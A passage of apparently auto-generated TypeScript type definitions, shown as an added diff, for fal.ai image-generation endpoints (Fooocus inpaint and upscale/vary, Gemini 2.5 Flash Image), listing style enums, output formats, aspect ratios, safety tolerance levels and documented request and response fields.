prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example (worst quality, low quality, normal quality, lowres, low details, oversaturated, undersaturated, overexposed, underexposed, grayscale, bw, bad photo, bad photography, bad art:1.4), (watermark, signature, text font, username, error, logo, words, letters, digits, autograph, trademark, name:1.2), (blur, blurry, grainy), morbid, ugly, asymmetrical, mutated malformed, mutilated, poorly lit, bad shadow, draft, cropped, out of frame, cut off, censored, jpeg artifacts, out of focus, glitch, duplicate, (airbrushed, cartoon, anime, semi-realistic, cgi, render, blender, digital art, manga, amateur:1.3), (3D ,3D Game, 3D Game Scene, 3D Character:1.1), (bad hands, bad anatomy, bad body, bad face, bad teeth, bad arms, bad legs, deformities:1.3) + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * If set to true, the advanced inpaint options ('inpaint_disable_initial_latent', + * 'inpaint_engine', 'inpaint_strength', 'inpaint_respective_field', + * 'inpaint_erode_or_dilate') will be overridden. + * Otherwise, the default values will be used. + * + * @default false + * @type boolean | undefined + */ + override_inpaint_options?: boolean + /** + * @description + * Same as the denoising strength in A1111 inpaint. Only used in inpaint, not + * used in outpaint. (Outpaint always use 1.0) + * + * @maximum 1 + * @default 1 + * @type number | undefined + */ + inpaint_strength?: number + /** + * @description + * The LoRAs to use for the image generation. You can use up to 5 LoRAs + * and they will be merged together to generate the final image. + * + * @default [{"path":"https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_offset_example-lora_1.0.safetensors","scale":0.1}] + * @type array | undefined + */ + loras?: LoraWeightFafca8D1[] + /** + * @description + * The sharpness of the generated image. Use it to control how sharp the generated + * image should be. Higher value means image and texture are sharper. + * + * @minimum 0 + * @maximum 30 + * @default 2 + * @type number | undefined + */ + sharpness?: number + /** + * @description Mixing Image Prompt and Inpaint + * @default false + * @type boolean | undefined + */ + mixing_image_prompt_and_inpaint?: boolean + /** + * @description If set to true, the mask will be inverted. + * @default false + * @type boolean | undefined + */ + invert_mask?: boolean + /** + * @description + * You can choose Speed or Quality + * + * @default 'Extreme Speed' + * @type string | undefined + */ + performance?: InputFalAiFooocusInpaintPerformanceEnumKey + /** + * @description Refiner (SDXL or SD 1.5) + * @default 'None' + * @type string | undefined + */ + refiner_model?: InputFalAiFooocusInpaintRefinerModelEnumKey + image_prompt_4?: ImagePrompt + /** + * @description + * Use 0.4 for SD1.5 realistic models; 0.667 for SD1.5 anime models + * 0.8 for XL-refiners; or any value for switching two SDXL models. + * + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + refiner_switch?: number + image_prompt_2?: ImagePrompt + /** + * @description The mode to use for inpainting. + * @default 'Inpaint or Outpaint (default)' + * @type string | undefined + */ + inpaint_mode?: InputFalAiFooocusInpaintInpaintModeEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @example 176400 + */ + seed?: number | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image099Dce2B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiFooocusInpaint = { + /** + * @description The generated image file info. + * @type array + */ + images: Image099Dce2B[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The time taken for the generation process. + * @type object + */ + timings: { + [key: string]: number + } +} + +export type LoraWeight291287C4 = { + /** + * @description URL or the path to the LoRA weights. + * @example https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_offset_example-lora_1.0.safetensors + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 1 + * @default 0.1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiFooocusUpscaleOrVaryOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFooocusUpscaleOrVaryOutputFormatEnumKey = + (typeof inputFalAiFooocusUpscaleOrVaryOutputFormatEnum)[keyof typeof inputFalAiFooocusUpscaleOrVaryOutputFormatEnum] + +export const inputFalAiFooocusUpscaleOrVaryStylesEnum = { + 'Fooocus V2': 'Fooocus V2', + 'Fooocus Enhance': 'Fooocus Enhance', + 'Fooocus Sharp': 'Fooocus Sharp', + 'Fooocus Semi Realistic': 'Fooocus Semi Realistic', + 'Fooocus Masterpiece': 'Fooocus Masterpiece', + 'Fooocus Photograph': 'Fooocus Photograph', + 'Fooocus Negative': 'Fooocus Negative', + 'Fooocus Cinematic': 'Fooocus Cinematic', + 'SAI 3D Model': 'SAI 3D Model', + 'SAI Analog Film': 'SAI Analog Film', + 'SAI Anime': 'SAI Anime', + 'SAI Cinematic': 'SAI Cinematic', + 'SAI Comic Book': 'SAI Comic Book', + 'SAI Craft Clay': 'SAI Craft Clay', + 'SAI Digital Art': 'SAI Digital Art', + 'SAI Enhance': 'SAI Enhance', + 'SAI Fantasy Art': 'SAI Fantasy Art', + 'SAI Isometric': 'SAI Isometric', + 'SAI Line Art': 'SAI Line Art', + 'SAI Lowpoly': 'SAI Lowpoly', + 'SAI Neonpunk': 'SAI Neonpunk', + 'SAI Origami': 'SAI Origami', + 'SAI Photographic': 'SAI Photographic', + 'SAI Pixel Art': 'SAI Pixel Art', + 'SAI Texture': 'SAI Texture', + 'MRE Cinematic Dynamic': 'MRE Cinematic Dynamic', + 'MRE Spontaneous Picture': 'MRE Spontaneous Picture', + 'MRE Artistic Vision': 'MRE Artistic Vision', + 'MRE Dark Dream': 'MRE Dark Dream', + 'MRE Gloomy Art': 'MRE Gloomy Art', + 'MRE Bad Dream': 'MRE Bad Dream', + 'MRE Underground': 'MRE Underground', + 'MRE Surreal Painting': 'MRE Surreal Painting', + 'MRE Dynamic Illustration': 'MRE Dynamic Illustration', + 'MRE Undead Art': 'MRE Undead Art', + 'MRE Elemental Art': 'MRE Elemental Art', + 'MRE Space Art': 'MRE Space Art', + 'MRE Ancient Illustration': 'MRE Ancient Illustration', + 'MRE Brave Art': 'MRE Brave Art', + 'MRE Heroic Fantasy': 'MRE Heroic Fantasy', + 'MRE Dark Cyberpunk': 'MRE Dark Cyberpunk', + 'MRE Lyrical Geometry': 'MRE Lyrical Geometry', + 'MRE Sumi E Symbolic': 'MRE Sumi E Symbolic', + 'MRE Sumi E Detailed': 'MRE Sumi E Detailed', + 'MRE Manga': 'MRE Manga', + 'MRE Anime': 'MRE Anime', + 'MRE Comic': 'MRE Comic', + 'Ads Advertising': 'Ads Advertising', + 'Ads Automotive': 'Ads Automotive', + 'Ads Corporate': 'Ads Corporate', + 'Ads Fashion Editorial': 'Ads Fashion Editorial', + 'Ads Food Photography': 'Ads Food Photography', + 'Ads Gourmet Food Photography': 'Ads Gourmet Food Photography', + 'Ads Luxury': 'Ads Luxury', + 'Ads Real Estate': 'Ads Real Estate', + 'Ads Retail': 'Ads Retail', + 'Artstyle Abstract': 'Artstyle Abstract', + 'Artstyle Abstract Expressionism': 'Artstyle Abstract Expressionism', + 'Artstyle Art Deco': 'Artstyle Art Deco', + 'Artstyle Art Nouveau': 'Artstyle Art Nouveau', + 'Artstyle Constructivist': 'Artstyle Constructivist', + 'Artstyle Cubist': 'Artstyle Cubist', + 'Artstyle Expressionist': 'Artstyle Expressionist', + 'Artstyle Graffiti': 'Artstyle Graffiti', + 'Artstyle Hyperrealism': 'Artstyle Hyperrealism', + 'Artstyle Impressionist': 'Artstyle Impressionist', + 'Artstyle Pointillism': 'Artstyle Pointillism', + 'Artstyle Pop Art': 'Artstyle Pop Art', + 'Artstyle Psychedelic': 'Artstyle Psychedelic', + 'Artstyle Renaissance': 'Artstyle Renaissance', + 'Artstyle Steampunk': 'Artstyle Steampunk', + 'Artstyle Surrealist': 'Artstyle Surrealist', + 'Artstyle Typography': 'Artstyle Typography', + 'Artstyle Watercolor': 'Artstyle Watercolor', + 'Futuristic Biomechanical': 'Futuristic Biomechanical', + 'Futuristic Biomechanical Cyberpunk': 'Futuristic Biomechanical Cyberpunk', + 'Futuristic Cybernetic': 'Futuristic Cybernetic', + 'Futuristic Cybernetic Robot': 'Futuristic Cybernetic Robot', + 'Futuristic Cyberpunk Cityscape': 'Futuristic Cyberpunk Cityscape', + 'Futuristic Futuristic': 'Futuristic Futuristic', + 'Futuristic Retro Cyberpunk': 'Futuristic Retro Cyberpunk', + 'Futuristic Retro Futurism': 'Futuristic Retro Futurism', + 'Futuristic Sci Fi': 'Futuristic Sci Fi', + 'Futuristic Vaporwave': 'Futuristic Vaporwave', + 'Game Bubble Bobble': 'Game Bubble Bobble', + 'Game Cyberpunk Game': 'Game Cyberpunk Game', + 'Game Fighting Game': 'Game Fighting Game', + 'Game Gta': 'Game Gta', + 'Game Mario': 'Game Mario', + 'Game Minecraft': 'Game Minecraft', + 'Game Pokemon': 'Game Pokemon', + 'Game Retro Arcade': 'Game Retro Arcade', + 'Game Retro Game': 'Game Retro Game', + 'Game Rpg Fantasy Game': 'Game Rpg Fantasy Game', + 'Game Strategy Game': 'Game Strategy Game', + 'Game Streetfighter': 'Game Streetfighter', + 'Game Zelda': 'Game Zelda', + 'Misc Architectural': 'Misc Architectural', + 'Misc Disco': 'Misc Disco', + 'Misc Dreamscape': 'Misc Dreamscape', + 'Misc Dystopian': 'Misc Dystopian', + 'Misc Fairy Tale': 'Misc Fairy Tale', + 'Misc Gothic': 'Misc Gothic', + 'Misc Grunge': 'Misc Grunge', + 'Misc Horror': 'Misc Horror', + 'Misc Kawaii': 'Misc Kawaii', + 'Misc Lovecraftian': 'Misc Lovecraftian', + 'Misc Macabre': 'Misc Macabre', + 'Misc Manga': 'Misc Manga', + 'Misc Metropolis': 'Misc Metropolis', + 'Misc Minimalist': 'Misc Minimalist', + 'Misc Monochrome': 'Misc Monochrome', + 'Misc Nautical': 'Misc Nautical', + 'Misc Space': 'Misc Space', + 'Misc Stained Glass': 'Misc Stained Glass', + 'Misc Techwear Fashion': 'Misc Techwear Fashion', + 'Misc Tribal': 'Misc Tribal', + 'Misc Zentangle': 'Misc Zentangle', + 'Papercraft Collage': 'Papercraft Collage', + 'Papercraft Flat Papercut': 'Papercraft Flat Papercut', + 'Papercraft Kirigami': 'Papercraft Kirigami', + 'Papercraft Paper Mache': 'Papercraft Paper Mache', + 'Papercraft Paper Quilling': 'Papercraft Paper Quilling', + 'Papercraft Papercut Collage': 'Papercraft Papercut Collage', + 'Papercraft Papercut Shadow Box': 'Papercraft Papercut Shadow Box', + 'Papercraft Stacked Papercut': 'Papercraft Stacked Papercut', + 'Papercraft Thick Layered Papercut': 'Papercraft Thick Layered Papercut', + 'Photo Alien': 'Photo Alien', + 'Photo Film Noir': 'Photo Film Noir', + 'Photo Glamour': 'Photo Glamour', + 'Photo Hdr': 'Photo Hdr', + 'Photo Iphone Photographic': 'Photo Iphone Photographic', + 'Photo Long Exposure': 'Photo Long Exposure', + 'Photo Neon Noir': 'Photo Neon Noir', + 'Photo Silhouette': 'Photo Silhouette', + 'Photo Tilt Shift': 'Photo Tilt Shift', + 'Cinematic Diva': 'Cinematic Diva', + 'Abstract Expressionism': 'Abstract Expressionism', + Academia: 'Academia', + 'Action Figure': 'Action Figure', + 'Adorable 3D Character': 'Adorable 3D Character', + 'Adorable Kawaii': 'Adorable Kawaii', + 'Art Deco': 'Art Deco', + 'Art Nouveau': 'Art Nouveau', + 'Astral Aura': 'Astral Aura', + 'Avant Garde': 'Avant Garde', + Baroque: 'Baroque', + 'Bauhaus Style Poster': 'Bauhaus Style Poster', + 'Blueprint Schematic Drawing': 'Blueprint Schematic Drawing', + Caricature: 'Caricature', + 'Cel Shaded Art': 'Cel Shaded Art', + 'Character Design Sheet': 'Character Design Sheet', + 'Classicism Art': 'Classicism Art', + 'Color Field Painting': 'Color Field Painting', + 'Colored Pencil Art': 'Colored Pencil Art', + 'Conceptual Art': 'Conceptual Art', + Constructivism: 'Constructivism', + Cubism: 'Cubism', + Dadaism: 'Dadaism', + 'Dark Fantasy': 'Dark Fantasy', + 'Dark Moody Atmosphere': 'Dark Moody Atmosphere', + 'Dmt Art Style': 'Dmt Art Style', + 'Doodle Art': 'Doodle Art', + 'Double Exposure': 'Double Exposure', + 'Dripping Paint Splatter Art': 'Dripping Paint Splatter Art', + Expressionism: 'Expressionism', + 'Faded Polaroid Photo': 'Faded Polaroid Photo', + Fauvism: 'Fauvism', + 'Flat 2d Art': 'Flat 2d Art', + 'Fortnite Art Style': 'Fortnite Art Style', + Futurism: 'Futurism', + Glitchcore: 'Glitchcore', + 'Glo Fi': 'Glo Fi', + 'Googie Art Style': 'Googie Art Style', + 'Graffiti Art': 'Graffiti Art', + 'Harlem Renaissance Art': 'Harlem Renaissance Art', + 'High Fashion': 'High Fashion', + Idyllic: 'Idyllic', + Impressionism: 'Impressionism', + 'Infographic Drawing': 'Infographic Drawing', + 'Ink Dripping Drawing': 'Ink Dripping Drawing', + 'Japanese Ink Drawing': 'Japanese Ink Drawing', + 'Knolling Photography': 'Knolling Photography', + 'Light Cheery Atmosphere': 'Light Cheery Atmosphere', + 'Logo Design': 'Logo Design', + 'Luxurious Elegance': 'Luxurious Elegance', + 'Macro Photography': 'Macro Photography', + 'Mandola Art': 'Mandola Art', + 'Marker Drawing': 'Marker Drawing', + Medievalism: 'Medievalism', + Minimalism: 'Minimalism', + 'Neo Baroque': 'Neo Baroque', + 'Neo Byzantine': 'Neo Byzantine', + 'Neo Futurism': 'Neo Futurism', + 'Neo Impressionism': 'Neo Impressionism', + 'Neo Rococo': 'Neo Rococo', + Neoclassicism: 'Neoclassicism', + 'Op Art': 'Op Art', + 'Ornate And Intricate': 'Ornate And Intricate', + 'Pencil Sketch Drawing': 'Pencil Sketch Drawing', + 'Pop Art 2': 'Pop Art 2', + Rococo: 'Rococo', + 'Silhouette Art': 'Silhouette Art', + 'Simple Vector Art': 'Simple Vector Art', + Sketchup: 'Sketchup', + 'Steampunk 2': 'Steampunk 2', + Surrealism: 'Surrealism', + Suprematism: 'Suprematism', + Terragen: 'Terragen', + 'Tranquil Relaxing Atmosphere': 'Tranquil Relaxing Atmosphere', + 'Sticker Designs': 'Sticker Designs', + 'Vibrant Rim Light': 'Vibrant Rim Light', + 'Volumetric Lighting': 'Volumetric Lighting', + 'Watercolor 2': 'Watercolor 2', + 'Whimsical And Playful': 'Whimsical And Playful', + 'Mk Chromolithography': 'Mk Chromolithography', + 'Mk Cross Processing Print': 'Mk Cross Processing Print', + 'Mk Dufaycolor Photograph': 'Mk Dufaycolor Photograph', + 'Mk Herbarium': 'Mk Herbarium', + 'Mk Punk Collage': 'Mk Punk Collage', + 'Mk Mosaic': 'Mk Mosaic', + 'Mk Van Gogh': 'Mk Van Gogh', + 'Mk Coloring Book': 'Mk Coloring Book', + 'Mk Singer Sargent': 'Mk Singer Sargent', + 'Mk Pollock': 'Mk Pollock', + 'Mk Basquiat': 'Mk Basquiat', + 'Mk Andy Warhol': 'Mk Andy Warhol', + 'Mk Halftone Print': 'Mk Halftone Print', + 'Mk Gond Painting': 'Mk Gond Painting', + 'Mk Albumen Print': 'Mk Albumen Print', + 'Mk Aquatint Print': 'Mk Aquatint Print', + 'Mk Anthotype Print': 'Mk Anthotype Print', + 'Mk Inuit Carving': 'Mk Inuit Carving', + 'Mk Bromoil Print': 'Mk Bromoil Print', + 'Mk Calotype Print': 'Mk Calotype Print', + 'Mk Color Sketchnote': 'Mk Color Sketchnote', + 'Mk Cibulak Porcelain': 'Mk Cibulak Porcelain', + 'Mk Alcohol Ink Art': 'Mk Alcohol Ink Art', + 'Mk One Line Art': 'Mk One Line Art', + 'Mk Blacklight Paint': 'Mk Blacklight Paint', + 'Mk Carnival Glass': 'Mk Carnival Glass', + 'Mk Cyanotype Print': 'Mk Cyanotype Print', + 'Mk Cross Stitching': 'Mk Cross Stitching', + 'Mk Encaustic Paint': 'Mk Encaustic Paint', + 'Mk Embroidery': 'Mk Embroidery', + 'Mk Gyotaku': 'Mk Gyotaku', + 'Mk Luminogram': 'Mk Luminogram', + 'Mk Lite Brite Art': 'Mk Lite Brite Art', + 'Mk Mokume Gane': 'Mk Mokume Gane', + 'Pebble Art': 'Pebble Art', + 'Mk Palekh': 'Mk Palekh', + 'Mk Suminagashi': 'Mk Suminagashi', + 'Mk Scrimshaw': 'Mk Scrimshaw', + 'Mk Shibori': 'Mk Shibori', + 'Mk Vitreous Enamel': 'Mk Vitreous Enamel', + 'Mk Ukiyo E': 'Mk Ukiyo E', + 'Mk Vintage Airline Poster': 'Mk Vintage Airline Poster', + 'Mk Vintage Travel Poster': 'Mk Vintage Travel Poster', + 'Mk Bauhaus Style': 'Mk Bauhaus Style', + 'Mk Afrofuturism': 'Mk Afrofuturism', + 'Mk Atompunk': 'Mk Atompunk', + 'Mk Constructivism': 'Mk Constructivism', + 'Mk Chicano Art': 'Mk Chicano Art', + 'Mk De Stijl': 'Mk De Stijl', + 'Mk Dayak Art': 'Mk Dayak Art', + 'Mk Fayum Portrait': 'Mk Fayum Portrait', + 'Mk Illuminated Manuscript': 'Mk Illuminated Manuscript', + 'Mk Kalighat Painting': 'Mk Kalighat Painting', + 'Mk Madhubani Painting': 'Mk Madhubani Painting', + 'Mk Pictorialism': 'Mk Pictorialism', + 'Mk Pichwai Painting': 'Mk Pichwai Painting', + 'Mk Patachitra Painting': 'Mk Patachitra Painting', + 'Mk Samoan Art Inspired': 'Mk Samoan Art Inspired', + 'Mk Tlingit Art': 'Mk Tlingit Art', + 'Mk Adnate Style': 'Mk Adnate Style', + 'Mk Ron English Style': 'Mk Ron English Style', + 'Mk Shepard Fairey Style': 'Mk Shepard Fairey Style', +} as const + +export type InputFalAiFooocusUpscaleOrVaryStylesEnumKey = + (typeof inputFalAiFooocusUpscaleOrVaryStylesEnum)[keyof typeof inputFalAiFooocusUpscaleOrVaryStylesEnum] + +export const inputFalAiFooocusUpscaleOrVaryUovMethodEnum = { + Disabled: 'Disabled', + 'Vary (Subtle)': 'Vary (Subtle)', + 'Vary (Strong)': 'Vary (Strong)', + 'Upscale (1.5x)': 'Upscale (1.5x)', + 'Upscale (2x)': 'Upscale (2x)', + 'Upscale (Fast 2x)': 'Upscale (Fast 2x)', +} as const + +export type InputFalAiFooocusUpscaleOrVaryUovMethodEnumKey = + (typeof inputFalAiFooocusUpscaleOrVaryUovMethodEnum)[keyof typeof inputFalAiFooocusUpscaleOrVaryUovMethodEnum] + +export const inputFalAiFooocusUpscaleOrVaryPerformanceEnum = { + Speed: 'Speed', + Quality: 'Quality', + 'Extreme Speed': 'Extreme Speed', + Lightning: 'Lightning', +} as const + +export type InputFalAiFooocusUpscaleOrVaryPerformanceEnumKey = + (typeof inputFalAiFooocusUpscaleOrVaryPerformanceEnum)[keyof typeof inputFalAiFooocusUpscaleOrVaryPerformanceEnum] + +export const inputFalAiFooocusUpscaleOrVaryRefinerModelEnum = { + None: 'None', + 'realisticVisionV60B1_v51VAE.safetensors': + 'realisticVisionV60B1_v51VAE.safetensors', +} as const + +export type InputFalAiFooocusUpscaleOrVaryRefinerModelEnumKey = + (typeof inputFalAiFooocusUpscaleOrVaryRefinerModelEnum)[keyof typeof inputFalAiFooocusUpscaleOrVaryRefinerModelEnum] + +export type InputFalAiFooocusUpscaleOrVary = { + /** + * @description + * The size of the generated image. You can choose between some presets or + * custom height and width that **must be multiples of 8**. + * + * @default '1024x1024' + * @type string | undefined + */ + aspect_ratio?: string + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFooocusUpscaleOrVaryOutputFormatEnumKey + image_prompt_1?: ImagePrompt + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example (worst quality, low quality, normal quality, lowres, low details, oversaturated, undersaturated, overexposed, underexposed, grayscale, bw, bad photo, bad photography, bad art:1.4), (watermark, signature, text font, username, error, logo, words, letters, digits, autograph, trademark, name:1.2), (blur, blurry, grainy), morbid, ugly, asymmetrical, mutated malformed, mutilated, poorly lit, bad shadow, draft, cropped, out of frame, cut off, censored, jpeg artifacts, out of focus, glitch, duplicate, (airbrushed, cartoon, anime, semi-realistic, cgi, render, blender, digital art, manga, amateur:1.3), (3D ,3D Game, 3D Game Scene, 3D Character:1.1), (bad hands, bad anatomy, bad body, bad face, bad teeth, bad arms, bad legs, deformities:1.3) + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Mixing Image Prompt and Vary/Upscale + * @default false + * @type boolean | undefined + */ + mixing_image_prompt_and_vary_upscale?: boolean + image_prompt_3?: ImagePrompt + /** + * @description + * The style to use. + * + * @default ["Fooocus V2","Fooocus Sharp","Fooocus Enhance"] + * @type array | undefined + */ + styles?: InputFalAiFooocusUpscaleOrVaryStylesEnumKey[] + /** + * @description + * The LoRAs to use for the image generation. You can use up to 5 LoRAs + * and they will be merged together to generate the final image. + * + * @default [{"path":"https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_offset_example-lora_1.0.safetensors","scale":0.1}] + * @type array | undefined + */ + loras?: LoraWeight291287C4[] + /** + * @description The method to use for upscaling or varying. + * @default 'Vary (Strong)' + * @type string | undefined + */ + uov_method?: InputFalAiFooocusUpscaleOrVaryUovMethodEnumKey + /** + * @description + * The sharpness of the generated image. Use it to control how sharp the generated + * image should be. Higher value means image and texture are sharper. + * + * @minimum 0 + * @maximum 30 + * @default 2 + * @type number | undefined + */ + sharpness?: number + /** + * @description + * You can choose Speed or Quality + * + * @default 'Extreme Speed' + * @type string | undefined + */ + performance?: InputFalAiFooocusUpscaleOrVaryPerformanceEnumKey + /** + * @description Refiner (SDXL or SD 1.5) + * @default 'None' + * @type string | undefined + */ + refiner_model?: InputFalAiFooocusUpscaleOrVaryRefinerModelEnumKey + /** + * @description + * Number of images to generate in one request + * + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @default '' + * @example a basket of various fruits, bokeh, realistic, masterpiece + * @type string | undefined + */ + prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * Use 0.4 for SD1.5 realistic models; 0.667 for SD1.5 anime models + * 0.8 for XL-refiners; or any value for switching two SDXL models. + * + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + refiner_switch?: number + image_prompt_2?: ImagePrompt + /** + * @description The image to upscale or vary. + * @example https://storage.googleapis.com/falserverless/model_tests/fooocus/fruit_basket.jpeg + * @type string + */ + uov_image_url: string + image_prompt_4?: ImagePrompt + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 30 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to false, the safety checker will be disabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @example 176400 + */ + seed?: number | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image8A23228E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiFooocusUpscaleOrVary = { + /** + * @description The generated image file info. + * @type array + */ + images: Image8A23228E[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The time taken for the generation process. + * @type object + */ + timings: { + [key: string]: number + } +} + +export const inputFalAiGemini25FlashImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiGemini25FlashImageOutputFormatEnumKey = + (typeof inputFalAiGemini25FlashImageOutputFormatEnum)[keyof typeof inputFalAiGemini25FlashImageOutputFormatEnum] + +export const inputFalAiGemini25FlashImageSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiGemini25FlashImageSafetyToleranceEnumKey = + (typeof inputFalAiGemini25FlashImageSafetyToleranceEnum)[keyof typeof inputFalAiGemini25FlashImageSafetyToleranceEnum] + +export const inputFalAiGemini25FlashImageAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', +} as const + +export type InputFalAiGemini25FlashImageAspectRatioEnumKey = + (typeof inputFalAiGemini25FlashImageAspectRatioEnum)[keyof typeof inputFalAiGemini25FlashImageAspectRatioEnum] + +export type InputFalAiGemini25FlashImage = { + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiGemini25FlashImageOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputFalAiGemini25FlashImageSafetyToleranceEnumKey + /** + * @description The aspect ratio of the generated image. + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiGemini25FlashImageAspectRatioEnumKey + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description The text prompt to generate an image from. + * @minLength 3 + * @maxLength 50000 + * @example An action shot of a black lab swimming in an inground suburban swimming pool. The camera is placed meticulously on the water line, dividing the image in half, revealing both the dogs head above water holding a tennis ball in it's mouth, and it's paws paddling underwater. + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The seed for the random number generator. + */ + seed?: number | null +} + +export type ImageFile1935Ad66 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiGemini25FlashImage = { + /** + * @description The generated images. + * @example [{"content_type":"image/png","file_name":"nano-banana-t2i-output.png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-t2i-output.png"}] + * @type array + */ + images: ImageFile1935Ad66[] + /** + * @description The description of the generated images. + * @type string + */ + description: string +} + +export const inputFalAiGemini25FlashImageEditSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiGemini25FlashImageEditSafetyToleranceEnumKey = + (typeof inputFalAiGemini25FlashImageEditSafetyToleranceEnum)[keyof typeof inputFalAiGemini25FlashImageEditSafetyToleranceEnum] + +export const inputFalAiGemini25FlashImageEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiGemini25FlashImageEditOutputFormatEnumKey = + (typeof inputFalAiGemini25FlashImageEditOutputFormatEnum)[keyof typeof inputFalAiGemini25FlashImageEditOutputFormatEnum] + +export const inputFalAiGemini25FlashImageEditAspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', +} as const + +export type InputFalAiGemini25FlashImageEditAspectRatioKey = + (typeof inputFalAiGemini25FlashImageEditAspectRatio)[keyof typeof inputFalAiGemini25FlashImageEditAspectRatio] + +export type InputFalAiGemini25FlashImageEdit = { + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputFalAiGemini25FlashImageEditSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiGemini25FlashImageEditOutputFormatEnumKey + /** + * @description The aspect ratio of the generated image. + * @default auto + */ + aspect_ratio?: InputFalAiGemini25FlashImageEditAspectRatioKey | null + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description The prompt for image editing. + * @minLength 3 + * 